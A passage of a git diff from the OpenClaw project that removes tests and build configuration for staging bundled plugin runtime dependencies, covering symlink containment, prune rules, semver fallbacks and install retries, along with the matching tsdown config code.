=> { - installCount += 1; - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "marker.txt"), "installed\n", "utf8"); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - expect(installCount).toBe(1); - expect(fs.existsSync(path.join(pluginDir, "escape"))).toBe(false); - expect(fs.readFileSync(path.join(pluginDir, "node_modules", "marker.txt"), "utf8")).toBe( - "installed\n", - ); - }); - - it("falls back to install when a staged dependency tree contains a symlink outside copied roots", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - const escapedDir = path.join(repoRoot, "outside-root"); - fs.mkdirSync(path.join(directDir, "node_modules"), { recursive: true }); - fs.mkdirSync(escapedDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - fs.writeFileSync(path.join(escapedDir, "secret.txt"), "host secret\n", "utf8"); - fs.symlinkSync(escapedDir, path.join(directDir, "node_modules", "escaped")); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - installCount += 1; - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "marker.txt"), "installed\n", "utf8"); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - expect(installCount).toBe(1); - expect( - fs.existsSync( - path.join(pluginDir, "node_modules", "direct", "node_modules", "escaped", "secret.txt"), - ), - ).toBe(false); - expect(fs.readFileSync(path.join(pluginDir, "node_modules", "marker.txt"), "utf8")).toBe( - "installed\n", - ); - }); - - it("falls back to install when the root transitive closure is incomplete", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - fs.mkdirSync(directDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0", "dependencies": { "missing-transitive": "^1.0.0" } }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 'direct';\n", "utf8"); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - installCount += 1; - const nodeModulesDir = path.join(pluginDir, "node_modules", "direct"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync( - path.join(nodeModulesDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync( - path.join(nodeModulesDir, "index.js"), - "module.exports = 'installed';\n", - "utf8", - ); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - expect(installCount).toBe(1); - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "direct", "index.js"), "utf8"), - ).toBe("module.exports = 'installed';\n"); - }); - - it("removes global non-runtime suffixes from staged runtime dependencies", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const directDir = path.join(repoRoot, "node_modules", "direct"); - fs.mkdirSync(directDir, { recursive: true }); - fs.writeFileSync( - path.join(directDir, "package.json"), - '{ "name": "direct", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(directDir, "index.js"), "module.exports = 1;\n", "utf8"); - fs.writeFileSync(path.join(directDir, "index.d.ts"), "export {};\n", "utf8"); - fs.writeFileSync(path.join(directDir, "index.js.map"), '{ "version": 3 }\n', "utf8"); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect(fs.existsSync(path.join(pluginDir, "node_modules", "direct", "index.js"))).toBe(true); - expect(fs.existsSync(path.join(pluginDir, "node_modules", "direct", "index.d.ts"))).toBe(false); - expect(fs.existsSync(path.join(pluginDir, "node_modules", "direct", "index.js.map"))).toBe( - false, - ); - }); - - it("applies package-specific cargo prune rules after staging", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "rule-target": "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const depDir = path.join(repoRoot, "node_modules", "rule-target"); - fs.mkdirSync(path.join(depDir, "docs"), { recursive: true }); - fs.mkdirSync(path.join(depDir, "lib"), { recursive: true }); - fs.writeFileSync( - path.join(depDir, "package.json"), - '{ "name": "rule-target", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(depDir, "lib", "index.js"), "export {};\n", "utf8"); - fs.writeFileSync(path.join(depDir, "lib", "index.d.ts"), "export {};\n", "utf8"); - fs.writeFileSync(path.join(depDir, "docs", "guide.md"), "docs\n", "utf8"); - fs.writeFileSync(path.join(depDir, "README.md"), "readme\n", "utf8"); - fs.writeFileSync(path.join(depDir, "LICENSE"), "license\n", "utf8"); - - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - stagedRuntimeDepPruneRules: new Map([ - ["rule-target", { paths: ["docs", "README.md"], suffixes: [".d.ts"] }], - ]), - }); - - expect( - fs.existsSync(path.join(pluginDir, "node_modules", "rule-target", "lib", "index.js")), - ).toBe(true); - expect( - fs.existsSync(path.join(pluginDir, "node_modules", "rule-target", "lib", "index.d.ts")), - ).toBe(false); - expect(fs.existsSync(path.join(pluginDir, "node_modules", "rule-target", "docs"))).toBe(false); - expect(fs.existsSync(path.join(pluginDir, "node_modules", "rule-target", "README.md"))).toBe( - false, - ); - expect(fs.existsSync(path.join(pluginDir, "node_modules", "rule-target", "LICENSE"))).toBe( - true, - ); - }); - - it("honors keepDirectories to opt a subtree out of global basename prune", () => { - // Regression: tokenjuice ships runtime-loaded rule data under - // `dist/rules/tests/*.json`. Without keepDirectories the global `tests` - // basename prune would strip that subtree and the plugin would fail to - // load with `Cannot find module '../rules/tests/bun-test.json'`. - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "keep-target": "1.0.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const depDir = path.join(repoRoot, "node_modules", "keep-target"); - fs.mkdirSync(path.join(depDir, "dist", "rules", "tests"), { recursive: true }); - fs.mkdirSync(path.join(depDir, "src", "tests"), { recursive: true }); - fs.writeFileSync( - path.join(depDir, "package.json"), - '{ "name": "keep-target", "version": "1.0.0" }\n', - "utf8", - ); - fs.writeFileSync( - path.join(depDir, "dist", "rules", "tests", "bun-test.json"), - '{"rule":"bun"}\n', - "utf8", - ); - fs.writeFileSync( - path.join(depDir, "src", "tests", "legit-test.spec.ts"), - "describe('x', () => {});\n", - "utf8", - ); - - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - stagedRuntimeDepPruneRules: new Map([ - ["keep-target", { keepDirectories: ["dist/rules/tests"] }], - ]), - }); - - // Opt-in path: preserved intact. - expect( - fs.existsSync( - path.join( - pluginDir, - "node_modules", - "keep-target", - "dist", - "rules", - "tests", - "bun-test.json", - ), - ), - ).toBe(true); - - // Unlisted `tests/` directories still get pruned. - expect(fs.existsSync(path.join(pluginDir, "node_modules", "keep-target", "src", "tests"))).toBe( - false, - ); - }); - - it("applies default prune rules for known heavy non-runtime package cargo", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { - "@cloudflare/workers-types": "1.0.0", - "@jimp/plugin-blit": "1.0.0", - gifwrap: "1.0.0", - "playwright-core": "1.0.0", - }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const rootNodeModules = path.join(repoRoot, "node_modules"); - const writePackage = (name: string) => { - const depDir = path.join(rootNodeModules, ...name.split("/")); - fs.mkdirSync(depDir, { recursive: true }); - fs.writeFileSync( - path.join(depDir, "package.json"), - `${JSON.stringify({ name, version: "1.0.0" }, null, 2)}\n`, - "utf8", - ); - return depDir; - }; - const cloudflareDir = writePackage("@cloudflare/workers-types"); - fs.writeFileSync(path.join(cloudflareDir, "index.d.ts"), "export {};\n", "utf8"); - const gifwrapDir = writePackage("gifwrap"); - fs.mkdirSync(path.join(gifwrapDir, "test", "fixtures"), { recursive: true }); - fs.writeFileSync(path.join(gifwrapDir, "test", "fixtures", "large.gif"), "fixture\n", "utf8"); - const playwrightDir = writePackage("playwright-core"); - fs.mkdirSync(path.join(playwrightDir, "types"), { recursive: true }); - fs.writeFileSync(path.join(playwrightDir, "types", "types.d.ts"), "export {};\n", "utf8"); - fs.writeFileSync(path.join(playwrightDir, "index.js"), "export {};\n", "utf8"); - const jimpDir = writePackage("@jimp/plugin-blit"); - fs.mkdirSync(path.join(jimpDir, "src", "__image_snapshots__"), { recursive: true }); - fs.writeFileSync( - path.join(jimpDir, "src", "__image_snapshots__", "snapshot.png"), - "fixture\n", - "utf8", - ); - fs.writeFileSync(path.join(jimpDir, "index.js"), "export {};\n", "utf8"); - - stageBundledPluginRuntimeDeps({ cwd: repoRoot }); - - expect( - fs.existsSync(path.join(pluginDir, "node_modules", "@cloudflare", "workers-types")), - ).toBe(false); - expect(fs.existsSync(path.join(pluginDir, "node_modules", "gifwrap", "test"))).toBe(false); - expect(fs.existsSync(path.join(pluginDir, "node_modules", "playwright-core", "types"))).toBe( - false, - ); - expect(fs.existsSync(path.join(pluginDir, "node_modules", "playwright-core", "index.js"))).toBe( - true, - ); - expect( - fs.existsSync( - path.join(pluginDir, "node_modules", "@jimp", "plugin-blit", "src", "__image_snapshots__"), - ), - ).toBe(false); - expect( - fs.existsSync(path.join(pluginDir, "node_modules", "@jimp", "plugin-blit", "index.js")), - ).toBe(true); - }); - - it("falls back to staging installs when the root dependency version is incompatible", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "^1.3.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const rootDepDir = path.join(repoRoot, "node_modules", "left-pad"); - fs.mkdirSync(rootDepDir, { recursive: true }); - fs.writeFileSync( - path.join(rootDepDir, "package.json"), - '{ "name": "left-pad", "version": "2.0.0" }\n', - "utf8", - ); - fs.writeFileSync(path.join(rootDepDir, "index.js"), "module.exports = 'root';\n", "utf8"); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - installCount += 1; - const nodeModulesDir = path.join(pluginDir, "node_modules", "left-pad"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync( - path.join(nodeModulesDir, "package.json"), - '{ "name": "left-pad", "version": "1.3.0" }\n', - "utf8", - ); - fs.writeFileSync( - path.join(nodeModulesDir, "index.js"), - "module.exports = 'nested';\n", - "utf8", - ); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - expect(installCount).toBe(1); - expect( - fs.readFileSync(path.join(pluginDir, "node_modules", "left-pad", "index.js"), "utf8"), - ).toBe("module.exports = 'nested';\n"); - }); - - it("falls back when a ^0.0.x root dependency exceeds the patch ceiling", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { tiny: "^0.0.3" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const rootDepDir = path.join(repoRoot, "node_modules", "tiny"); - fs.mkdirSync(rootDepDir, { recursive: true }); - fs.writeFileSync( - path.join(rootDepDir, "package.json"), - '{ "name": "tiny", "version": "0.0.5" }\n', - "utf8", - ); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - installCount += 1; - const nodeModulesDir = path.join(pluginDir, "node_modules", "tiny"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync( - path.join(nodeModulesDir, "package.json"), - '{ "name": "tiny", "version": "0.0.3" }\n', - "utf8", - ); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - expect(installCount).toBe(1); - }); - - it("falls back when a stable caret range only matches a prerelease root build", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { direct: "^1.2.3" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - const rootDepDir = path.join(repoRoot, "node_modules", "direct"); - fs.mkdirSync(rootDepDir, { recursive: true }); - fs.writeFileSync( - path.join(rootDepDir, "package.json"), - '{ "name": "direct", "version": "1.3.0-beta.1" }\n', - "utf8", - ); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - installCount += 1; - const nodeModulesDir = path.join(pluginDir, "node_modules", "direct"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync( - path.join(nodeModulesDir, "package.json"), - '{ "name": "direct", "version": "1.2.3" }\n', - "utf8", - ); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - expect(installCount).toBe(1); - }); - - it("retries transient runtime dependency staging failures before surfacing an error", () => { - const { pluginDir, repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "1.3.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - - let installCount = 0; - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installPluginRuntimeDepsImpl: ({ fingerprint, stampPath }: RuntimeDepsStampParams) => { - installCount += 1; - if (installCount < 3) { - throw new Error(`attempt ${installCount} failed`); - } - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "marker.txt"), "ok\n", "utf8"); - writeRuntimeDepsStamp(stampPath, fingerprint); - }, - }); - - expect(installCount).toBe(3); - expect(fs.readFileSync(path.join(pluginDir, "node_modules", "marker.txt"), "utf8")).toBe( - "ok\n", - ); - }); - - it("surfaces the last staging error after exhausting retries", () => { - const { repoRoot } = createBundledPluginFixture({ - packageJson: { - name: "@openclaw/fixture-plugin", - version: "1.0.0", - dependencies: { "left-pad": "1.3.0" }, - openclaw: { bundle: { stageRuntimeDependencies: true } }, - }, - }); - - let installCount = 0; - expect(() => - stageBundledPluginRuntimeDeps({ - cwd: repoRoot, - installAttempts: 2, - installPluginRuntimeDepsImpl: () => { - installCount += 1; - throw new Error(`attempt ${installCount} failed`); - }, - }), - ).toThrow("attempt 2 failed"); - expect(installCount).toBe(2); - }); -}); diff --git a/test/scripts/tsdown-build.test.ts b/test/scripts/tsdown-build.test.ts index a35b4e1b611..d0a1b67de31 100644 --- a/test/scripts/tsdown-build.test.ts +++ b/test/scripts/tsdown-build.test.ts @@ -106,68 +106,18 @@ describe("resolveTsdownBuildInvocation", () => { ).rejects.toThrow(); }); - it("cleans tsdown output roots before using tsdown --no-clean without deleting staged runtime deps", async () => { + it("cleans tsdown output roots before using tsdown --no-clean", async () => { const rootDir = createTempDir("openclaw-tsdown-clean-"); const distFile = path.join(rootDir, "dist", "stale.js"); - const pluginManifest = path.join(rootDir, "extensions", "telegram", "openclaw.plugin.json"); - const pluginSourceManifest = path.join(rootDir, "extensions", "telegram", "package.json"); const pluginGeneratedFile = path.join(rootDir, "dist", "extensions", "telegram", "index.js"); - const pluginRuntimeDepFile = path.join( - rootDir, - "dist", - "extensions", - "telegram", - "node_modules", - "grammy", - "package.json", - ); - const stalePluginRuntimeDepFile = path.join( - rootDir, - "dist", - "extensions", - "old-plugin", - "node_modules", - "left-pad", - "package.json", - ); - const unstagedPluginSourceManifest = path.join( - rootDir, - "extensions", - "unstaged-plugin", - "package.json", - ); - const unstagedPluginRuntimeDepFile = path.join( - rootDir, - "dist", - "extensions", - "unstaged-plugin", - "node_modules", - "left-pad", - "package.json", - ); const distRuntimeFile = path.join(rootDir, "dist-runtime", "stale.js"); const unrelatedFile = path.join(rootDir, "tmp", "keep.js"); await fsPromises.mkdir(path.dirname(distFile), { recursive: true }); - await fsPromises.mkdir(path.dirname(pluginManifest), { recursive: true }); - await fsPromises.mkdir(path.dirname(pluginSourceManifest), { recursive: true }); await fsPromises.mkdir(path.dirname(pluginGeneratedFile), { recursive: true }); - await fsPromises.mkdir(path.dirname(pluginRuntimeDepFile), { recursive: true }); - await fsPromises.mkdir(path.dirname(stalePluginRuntimeDepFile), { recursive: true }); - await fsPromises.mkdir(path.dirname(unstagedPluginSourceManifest), { recursive: true }); - await fsPromises.mkdir(path.dirname(unstagedPluginRuntimeDepFile), { recursive: true }); await fsPromises.mkdir(path.dirname(distRuntimeFile), { recursive: true }); await fsPromises.mkdir(path.dirname(unrelatedFile), { recursive: true }); await fsPromises.writeFile(distFile, "stale\n"); - await fsPromises.writeFile(pluginManifest, '{"id":"telegram"}\n'); - await fsPromises.writeFile( - pluginSourceManifest, - '{"openclaw":{"bundle":{"stageRuntimeDependencies":true}}}\n', - ); await fsPromises.writeFile(pluginGeneratedFile, "generated\n"); - await fsPromises.writeFile(pluginRuntimeDepFile, "{}\n"); - await fsPromises.writeFile(stalePluginRuntimeDepFile, "{}\n"); - await fsPromises.writeFile(unstagedPluginSourceManifest, "{}\n"); - await fsPromises.writeFile(unstagedPluginRuntimeDepFile, "{}\n"); await fsPromises.writeFile(distRuntimeFile, "stale\n"); await fsPromises.writeFile(unrelatedFile, "keep\n"); @@ -175,13 +125,6 @@ describe("resolveTsdownBuildInvocation", () => { await expect(fsPromises.stat(distFile)).rejects.toThrow(); await expect(fsPromises.stat(pluginGeneratedFile)).rejects.toThrow(); - await expect(fsPromises.readFile(pluginRuntimeDepFile, "utf8")).resolves.toBe("{}\n"); - await expect( - fsPromises.stat(path.join(rootDir, "dist", "extensions", "old-plugin")), - ).rejects.toThrow(); - await expect( - fsPromises.stat(path.join(rootDir, "dist", "extensions", "unstaged-plugin")), - ).rejects.toThrow(); await expect(fsPromises.stat(path.join(rootDir, "dist-runtime"))).rejects.toThrow(); await expect(fsPromises.readFile(unrelatedFile, "utf8")).resolves.toBe("keep\n"); }); diff --git a/tsdown.config.ts b/tsdown.config.ts index e9e2976f18f..ce8131583e8 100644 --- a/tsdown.config.ts +++ b/tsdown.config.ts @@ -3,7 +3,6 @@ import path from "node:path"; import { defineConfig, type UserConfig } from "tsdown"; import { collectBundledPluginBuildEntries, - listBundledPluginRuntimeDependencies, NON_PACKAGED_BUNDLED_PLUGIN_DIRS, } from "./scripts/lib/bundled-plugin-build-entries.mjs"; import { buildPluginSdkEntrySources } from "./scripts/lib/plugin-sdk-entries.mjs"; @@ -92,7 +91,6 @@ function nodeBuildConfig(config: UserConfig): UserConfig { } const bundledPluginBuildEntries = collectBundledPluginBuildEntries(); -const bundledPluginRuntimeDependencies = listBundledPluginRuntimeDependencies(); const shouldBuildPrivateQaEntries = process.env.OPENCLAW_BUILD_PRIVATE_QA === "1"; function buildBundledHookEntries(): Record { @@ -128,7 +126,6 @@ const explicitNeverBundleDependencies = [ "@lancedb/lancedb", "@matrix-org/matrix-sdk-crypto-nodejs", "matrix-js-sdk", - ...bundledPluginRuntimeDependencies, ].toSorted((left, right) => left.localeCompare(right)); function shouldNeverBundleDependency(id: string): boolean { @@ -137,19 +134,9 @@ function shouldNeverBundleDependency(id: string): boolean { }); } -function shouldStageBundledPluginRuntimeDependencies(packageJson: unknown): boolean { - return ( - typeof packageJson === "object" && - packageJson !== null && - (packageJson as { openclaw?: { bundle?: { stageRuntimeDependencies?: boolean } } }).openclaw - ?.bundle?.stageRuntimeDependencies === true - ); -} - function listBundledPluginEntrySources( entries: Array<{ id: string; - packageJson: unknown; sourceEntries: string[]; }>, ): Record { @@ -167,40 +154,6 @@ function listBundledPluginEntrySources( ); } -function normalizeBundledPluginOutEntry(entry: string): string { - return entry.replace(/^\.\//u, "").replace(/\.[^.]+$/u, ""); -} - -function isPluginSdkSelfReference(id: string): boolean { - return ( - id === "openclaw/plugin-sdk" || - id.startsWith("openclaw/plugin-sdk/") || - id === "@openclaw/plugin-sdk" || - id.startsWith("@openclaw/plugin-sdk/") - ); -} - -function buildBundledPluginNeverBundlePredicate(packageJson: { - dependencies?: Record; - optionalDependencies?: Record; -}) { - const runtimeDependencies = shouldStageBundledPluginRuntimeDependencies(packageJson) - ? [ - ...Object.keys(packageJson.dependencies ?? {}), - ...Object.keys(packageJson.optionalDependencies ?? {}), - ].toSorted((left, right) => left.localeCompare(right)) - : []; - - return (id: string): boolean => { - if (isPluginSdkSelfReference(id)) { - return true; - } - return runtimeDependencies.some((dependency) => { - return id === dependency || id.startsWith(`${dependency}/`); - }); - }; -} - function buildCoreDistEntries(): Record { return { index: "src/index.ts", @@ -268,13 +221,8 @@ function buildDockerE2eHarnessEntries(): Record { const coreDistEntries = buildCoreDistEntries(); const dockerE2eHarnessEntries = buildDockerE2eHarnessEntries(); -const stagedBundledPluginBuildEntries = bundledPluginBuildEntries.filter(({ packageJson }) => - shouldStageBundledPluginRuntimeDependencies(packageJson), -); const rootBundledPluginBuildEntries = bundledPluginBuildEntries.filter( - ({ id, packageJson }) => - !shouldStageBundledPluginRuntimeDependencies(packageJson) && - (shouldBuildPrivateQaEntries || !NON_PACKAGED_BUNDLED_PLUGIN_DIRS.has(id)), + ({ id }) => shouldBuildPrivateQaEntries || !NON_PACKAGED_BUNDLED_PLUGIN_DIRS.has(id), ); function buildUnifiedDistEntries(): Record { @@ -300,29 +248,6 @@ function buildUnifiedDistEntries(): Record { }; } -function buildBundledPluginConfigs(): UserConfig[] { - return stagedBundledPluginBuildEntries.map(({ id, packageJson, sourceEntries }) => - nodeBuildConfig({ - clean: false, - entry: Object.fromEntries( - sourceEntries.map((entry) => [ - normalizeBundledPluginOutEntry(entry), - `extensions/${id}/${entry.replace(/^\.\//u, "")}`, - ]), - ), - outDir: `dist/extensions/${id}`, - deps: { - neverBundle: buildBundledPluginNeverBundlePredicate( - (packageJson ?? {}) as { - dependencies?: Record; - optionalDependencies?: Record; - }, - ), - }, - }), - ); -} - export default defineConfig([ nodeBuildConfig({ // Build core entrypoints, plugin-sdk subpaths, bundled plugin entrypoints, @@ -333,5 +258,4 @@ export default defineConfig([ neverBundle: shouldNeverBundleDependency, }, }), - ...buildBundledPluginConfigs(), ]);